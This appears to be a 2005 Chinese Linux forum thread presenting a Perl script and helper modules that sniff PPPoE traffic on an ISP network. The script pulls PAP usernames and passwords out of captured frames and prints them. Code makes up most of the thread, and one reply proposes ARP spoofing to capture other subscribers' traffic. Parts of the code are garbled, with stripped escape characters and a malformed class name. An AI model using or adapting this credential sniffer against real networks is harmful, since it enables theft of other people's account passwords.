免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 5333 | 回复: 14
打印 上一主题 下一主题

用perl脚本sniff杭州网通pppoe帐号,学习截包,分析 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2005-11-22 22:28 |只看该作者 |倒序浏览

论坛徽章:
0
2 [报告]
发表于 2005-11-22 22:34 |只看该作者
偶觉得你应该把script贴到这里来,而不是引导大家去你的blog。

论坛徽章:
0
3 [报告]
发表于 2005-11-22 22:39 |只看该作者

  1. +++++++++++++++++++++
  2. +file pppoe_sniff.pl+
  3. +++++++++++++++++++++
  4. #!/usr/bin/perl
  5. use strict;
  6. use NetPacket::Ethernet;
  7. use Net::Pcap qw(:functions);
  8. use NetPacket::PPPOEHeader qw(:pppoe_const);
  9. use NetPacket::PPPOEDiscovery qw(ETH_TYPE_PPPOE_DISCOVERY);

  10. use constant ETH_TYPE_PPPOE_DISCOVERY => 0x8863;
  11. use constant ETH_TYPE_PPPOE_SESSION => 0x8864;

  12. my $bdebug = 0;
  13. my($dev,$pcap_handle,$error_msg,$error_rtn,
  14. $net,$mask,
  15. $filter,$filter_str);

  16. $dev="eth0";
  17. $dev=$ARGV[0] if @ARGV==1;
  18. print "opening device $dev n";

  19. #get netmask
  20. $error_rtn=Net::Pcap::lookupnet($dev,$net,$mask,$error_msg);
  21. die "can not get the net mask of $devn$error_msgn"
  22. unless $error_rtn != -1;

  23. $pcap_handle=open_live($dev,1024,1,0,$error_msg);
  24. die "can not open $dev to capture packets.n$error_msgn"
  25. unless defined($pcap_handle);
  26. print "begin capture packets on $devn";

  27. #setup the capture filter, man tcpdump-expression for more detail info
  28. #??seems useless
  29. $filter="port 13";
  30. $error_rtn=Net::Pcap::compile($pcap_handle,$filter,$filter_str,1,$mask);
  31. die "failed to compile the filter.n$error_msgn"
  32. unless $error_rtn != -1;
  33. $error_rtn=Net::Pcap::setfilter($pcap_handle,$filter);
  34. die "failed to set the filter.n$error_msgn"
  35. unless $error_rtn != -1;

  36. #install the ctrl_c interrupt function to end the loop
  37. $SIG{"INT"}=&ctrl_c;

  38. $error_rtn=loop($pcap_handle,-1,&process_packet,"");
  39. #you may test the return value , -1 on error, -2 if t by pcap_breakloop

  40. print "loop terminated.n";

  41. pcap_close($pcap_handle);

  42. #subroutings

  43. #ctrl-c process
  44. sub ctrl_c
  45. {
  46. print "ctrl_c pressed";
  47. breakloop($pcap_handle);
  48. }

  49. #callback from pcap to process captured packets.
  50. sub process_packet
  51. {
  52. my($ether, $pppoe);
  53. my($user_data,$header,$packet)=@_;
  54. if($bdebug)
  55. {
  56. print "................n";
  57. print "$header->{tv_usec}t$header->{len}t$header->{caplen}n";
  58. }
  59. $ether=NetPacket::Ethernet->decode($packet);
  60. if($bdebug)
  61. {
  62. print "0x$ether->{src_mac}t0x$ether->{dest_mac}t";
  63. printf("0x%04xn",$ether->{type});
  64. print "n";
  65. }
  66. #print "nParese packet...n";
  67. #dump_ether($ether);
  68. #process pppoe packet
  69. if($ether->{type} == ETH_TYPE_PPPOE_DISCOVERY)
  70. {
  71. dump_ether($ether);
  72. print "--------pppoe packet discovery stage----------n";
  73. $pppoe=NetPacket::PPPOEDiscovery->decode($ether->{data});
  74. $pppoe->dump();
  75. print "n";
  76. }
  77. else
  78. {
  79. if($ether->{type} == ETH_TYPE_PPPOE_SESSION)
  80. {
  81. # print "--------pppoe packet session stage---------n" ;
  82. $pppoe=NetPacket::PPPOEHeader->decode($ether->{data});
  83. parse_ifis_PPP_PAP($pppoe->{data});
  84. # $pppoe->dump();
  85. # print "n";
  86. }
  87. }
  88. #print "-----------------------------------------n";
  89. }
  90. sub dump_ether
  91. {
  92. my $self=shift;
  93. print "----------dump ethernet frames info---------n";
  94. printf("src_mac=%sndest_mac=%sn",
  95. $self->{src_mac},$self->{dest_mac});
  96. }

  97. sub parse_ifis_PPP_PAP
  98. {
  99. my $data=shift;
  100. my($ppp_proto);

  101. ($ppp_proto,$data)=unpack("na*",$data);
  102. #printf("ppp_protocol=%04xn",$ppp_proto);
  103. if ($ppp_proto == 0xc023 )
  104. {
  105. my($code,$ident,$len);
  106. my($user_name_len,$user_name,$user_password_len,$user_password);
  107. my($pap_reply_len,$pap_reply);
  108. #this is the PAP protocol
  109. ($code,$ident,$len,$data)=unpack("CCna*",$data);
  110. if($code == 0x01)
  111. {
  112. print "nauthenticate requestn";
  113. ($user_name_len,$data)=unpack("Ca*",$data);
  114. printf("user name length is %dn",$user_name_len);
  115. ($user_name,$data)=
  116. unpack("a".$user_name_len."a*",$data);
  117. printf("user name is %sn",$user_name);
  118. ($user_password_len,$data)=unpack("Ca*",$data);
  119. printf("user password length is %dn",$user_password_len);
  120. ($user_password,$data)=
  121. unpack("a".$user_password_len."a*",$data);
  122. printf("user password is %sn",$user_password);
  123. }
  124. if($code == 0x02 || $code == 0x03 )
  125. {
  126. print "nauthenticate replyn";
  127. ($pap_reply_len,$data)=unpack("Ca*",$data);
  128. printf("pap reply length is %dn",$pap_reply_len);
  129. ($pap_reply,$data)=
  130. unpack("a".$pap_reply_len."a*",$data);
  131. printf("pap reply is n%sn",$pap_reply);
  132. }
  133. }
  134. }

  135. +++++++++++++++++++++++++++++++++
  136. +file NetPackage::PPPOEHeader.pm+
  137. +++++++++++++++++++++++++++++++++
  138. package NetPacket::PPPOEHeader;

  139. use strict;
  140. use vars qw($VERSION @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS);
  141. use NetPacket;

  142. BEGIN {
  143. $VERSION="0.01";
  144. @ISA = qw(Exporter NetPacket);
  145. # Items to export into callers namespace by default
  146. # (move infrequently used names to @EXPORT_OK below)
  147. @EXPORT = qw(
  148. );
  149. # Other items we are prepared to export if requested
  150. @EXPORT_OK = qw(PPPOE_CODE_PADI PPPOE_CODE_PADO
  151. PPPOE_CODE_PADR PPPOE_CODE_PADS
  152. PPPOE_CODE_PADT
  153. );
  154. # Tags:
  155. %EXPORT_TAGS = (
  156. ALL => [@EXPORT, @EXPORT_OK],
  157. pppoe_const => [qw(PPPOE_CODE_PADI PPPOE_CODE_PADO
  158. PPPOE_CODE_PADR PPPOE_CODE_PADS
  159. PPPOE_CODE_PADT)]
  160. );
  161. }

  162. use constant PPPOE_CODE_PADI => 0x09;
  163. use constant PPPOE_CODE_PADO => 0x07;
  164. use constant PPPOE_CODE_PADR => 0x19;
  165. use constant PPPOE_CODE_PADS => 0x65;
  166. use constant PPPOE_CODE_PADT => 0xa7;

  167. sub decode {
  168. my $class = shift;
  169. my($pkt, $parent, @rest) = @_;
  170. my $self = {};

  171. # Decode PPPOE Header
  172. if (defined($pkt)) {
  173. my $tmp;
  174. ($tmp,$self->{code},$self->{session_id},
  175. $self->{pppoe_length},$self->{data})=unpack('CCnna*',$pkt);
  176. $self->{version}=($tmp&0xf0)>>4;
  177. $self->{type}=$tmp&0x0f;
  178. }

  179. bless $self,$class;
  180. return $self;
  181. }
  182. sub dump
  183. {
  184. my $self = shift;
  185. print "ndump PPPOE Header info ";
  186. SWITCH: {
  187. ($self->{code} == PPPOE_CODE_PADI ) && do {
  188. print "PADIn"; last SWITCH; };
  189. ($self->{code} == PPPOE_CODE_PADO ) && do {
  190. print "PADOn"; last SWITCH; };
  191. ($self->{code} == PPPOE_CODE_PADR ) && do {
  192. print "PADRn"; last SWITCH; };
  193. ($self->{code} == PPPOE_CODE_PADS ) && do {
  194. print "PADSn"; last SWITCH; };
  195. ($self->{code} == PPPOE_CODE_PADT ) && do {
  196. print "PADTn"; last SWITCH; };
  197. };
  198. printf("version=%dttype=%dtcode=%dn",
  199. $self->{version},$self->{type},$self->{code});
  200. printf("session_id=%dtlength=%dn",
  201. $self->{session_id},$self->{pppoe_length});

  202. }

  203. 1;

  204. ++++++++++++++++++++++++++++++++
  205. +file NetPacket::PPPOEDiscovery+
  206. ++++++++++++++++++++++++++++++++
  207. #!/usr/bin/perl;
  208. package NetPacket::PPPOEDiscovery;

  209. use strict;

  210. use vars qw($VERSION @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS);
  211. use NetPacket;
  212. use NetPacket::PPPOEHeader;

  213. use constant ETH_TYPE_PPPOE_DISCOVERY => 0x8863;

  214. BEGIN {
  215. $VERSION="0.01";
  216. @ISA = qw(Exporter NetPacket NetPacket::PPPOEHeader);
  217. # Items to export into callers namespace by default
  218. # (move infrequently used names to @EXPORT_OK below)
  219. @EXPORT = qw(
  220. );
  221. # Other items we are prepared to export if requested
  222. @EXPORT_OK = qw(
  223. ETH_TYPE_PPPOE_DISCOVERY
  224. );
  225. # Tags:
  226. %EXPORT_TAGS = (
  227. ALL => [@EXPORT, @EXPORT_OK],
  228. );
  229. }


  230. sub decode {
  231. my $class = shift;
  232. my ($pkt, $parent, @rest)=@_;
  233. my $self;

  234. # Decode PPPOE Discovery Packet
  235. if (defined($pkt)) {
  236. $self = NetPacket::PPPOEHeader::decode(
  237. "NetPacket::PPPOEDiscovery",$pkt);
  238. #parse TAG_VALUE
  239. $self->parse_tag_value($self->{data});
  240. }

  241. return $self;
  242. }

  243. sub parse_tag_value{
  244. my ($self,$pkt) = @_;
  245. my @tags;
  246. while(defined($pkt))
  247. {
  248. my %atag;
  249. ($atag{tag_type},$atag{tag_length},
  250. $pkt)=unpack('nna*',$pkt);
  251. $atag{tag_value}="";
  252. if($atag{tag_length}>0)
  253. {
  254. if($atag{tag_type} == 0x0102 ||
  255. $atag{tag_type} == 0x0201 ||
  256. $atag{tag_type} == 0x0202 ||
  257. $atag{tag_type} == 0x0203 )
  258. {
  259. ($atag{tag_value}, $pkt)=
  260. unpack("a".$atag{tag_length}."a*",$pkt);
  261. }
  262. else
  263. {
  264. ($atag{tag_value},$pkt)=
  265. unpack('H'.2*$atag{tag_length}.'a*',$pkt);
  266. }
  267. }
  268. push @tags,%atag;
  269. }
  270. $self->{tags}=@tags;
  271. }

  272. sub dump
  273. {
  274. my $self=shift;
  275. $self->SUPER::dump();
  276. print "----PPPOE::Discovery Stage----n";
  277. printf("tag list:(?)n",@{$self->{tags}});
  278. foreach my $ref_atag (@{$self->{tags}})
  279. {
  280. printf("tag_type=%04xttag_length=%dntag_value=%snn",
  281. $ref_atag->{tag_type},
  282. $ref_atag->{tag_length},
  283. $ref_atag->{tag_value});
  284. }
  285. print "--------n";
  286. }
  287. 1;

  288. +++++++++++++++++++++++++++++++++
  289. +file NetPacket::PPPOESession.pm+
  290. +++++++++++++++++++++++++++++++++
  291. #!/usr/bin/perl;
  292. package NetPacket::PPPOESession;

  293. use strict;

  294. use vars qw($VERSION @ISA @EXPORT @EXPORT_OK %EXPORT_TAGS);
  295. use NetPacket;
  296. use NetPacket::PPPOEHeader;

  297. use constant ETH_TYPE_PPPOE_SESSION => 0x8864;

  298. BEGIN {
  299. $VERSION="0.01";
  300. @ISA = qw(Exporter NetPacket NetPacket::PPPOEHeader);
  301. # Items to export into callers namespace by default
  302. # (move infrequently used names to @EXPORT_OK below)
  303. @EXPORT = qw(
  304. );
  305. # Other items we are prepared to export if requested
  306. @EXPORT_OK = qw(
  307. ETH_TYPE_PPPOE_SESSION
  308. );
  309. # Tags:
  310. %EXPORT_TAGS = (
  311. ALL => [@EXPORT, @EXPORT_OK],
  312. );
  313. }


  314. sub decode {
  315. my $class = shift;
  316. my ($pkt, $parent, @rest)=@_;
  317. my $self;

  318. # Decode PPPOE Discovery Packet
  319. if (defined($pkt)) {
  320. $self = NetPacket::PPPOEHeader::decode(
  321. "NetPacket::PPPOE:Discovery",$pkt);
  322. #parse TAG_VALUE
  323. $self->parse_tag_value($self->{data});
  324. }

  325. return $self;
  326. }

  327. sub parse_tag_value{
  328. my ($self,$pkt) = @_;
  329. my @tags;
  330. while(defined($pkt))
  331. {
  332. my %atag;
  333. ($atag{tag_type},$atag{tag_length},
  334. $pkt)=unpack('nna*',$pkt);
  335. $atag{tag_value}="";
  336. if($atag{tag_length}>0)
  337. {
  338. if($atag{tag_type} == 0x0102 ||
  339. $atag{tag_type} == 0x0201 ||
  340. $atag{tag_type} == 0x0202 ||
  341. $atag{tag_type} == 0x0203 )
  342. {
  343. ($atag{tag_value}, $pkt)=
  344. unpack("a".$atag{tag_length}."a*",$pkt);
  345. }
  346. else
  347. {
  348. ($atag{tag_value},$pkt)=
  349. unpack('H'.2*$atag{tag_length}.'a*',$pkt);
  350. }
  351. }
  352. push @tags,%atag;
  353. }
  354. $self->{tags}=@tags;
  355. }

  356. sub dump
  357. {
  358. my $self=shift;
  359. $self->SUPER::dump();
  360. print "----PPPOE::Discovery Stage----n";
  361. printf("tag list:(?)n",@{$self->{tags}});
  362. foreach my $ref_atag (@{$self->{tags}})
  363. {
  364. printf("tag_type=%04xttag_length=%dntag_value=%snn",
  365. $ref_atag->{tag_type},
  366. $ref_atag->{tag_length},
  367. $ref_atag->{tag_value});
  368. }
  369. print "--------n";
  370. }
  371. 1;
复制代码

[ 本帖最后由 angleeye 于 2005-11-22 22:40 编辑 ]

论坛徽章:
0
4 [报告]
发表于 2005-11-22 22:41 |只看该作者
你要编辑下,选择"禁用Smilies"哦

对了,挺好的

论坛徽章:
1
荣誉会员
日期:2011-11-23 16:44:17
5 [报告]
发表于 2005-11-23 08:48 |只看该作者
不错....改天用linux连上pppoe的时候再试...
activePerl我不会用..

论坛徽章:
0
6 [报告]
发表于 2005-11-23 09:26 |只看该作者
老兄,首先从原理上讲,别人的流量会从你这里过么?

论坛徽章:
0
7 [报告]
发表于 2005-11-23 09:29 |只看该作者
可以的,arp欺骗!

论坛徽章:
0
8 [报告]
发表于 2005-11-23 09:31 |只看该作者
sorry,pppoe不了解!

论坛徽章:
0
9 [报告]
发表于 2005-11-23 10:28 |只看该作者
晕,楼上的. ppp是点到点的协议. 加密就算了.没加密也要像80年代侦探片里一样在别人线路上接两根线去侦听.oe要好一点.如果是pppoe+adsl那也没戏.如果是oe+ethernet,基本上isp会每个端口设一个vlan.总而言之,你是啥也侦听不到.如果client端能在二层通信,isp还怎么混

论坛徽章:
0
10 [报告]
发表于 2005-11-23 11:54 |只看该作者
问一个问题:ADSL拨号上网的话,有公网地址的吧?如果别人知道这个公网地址,可不可以攻击呢?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP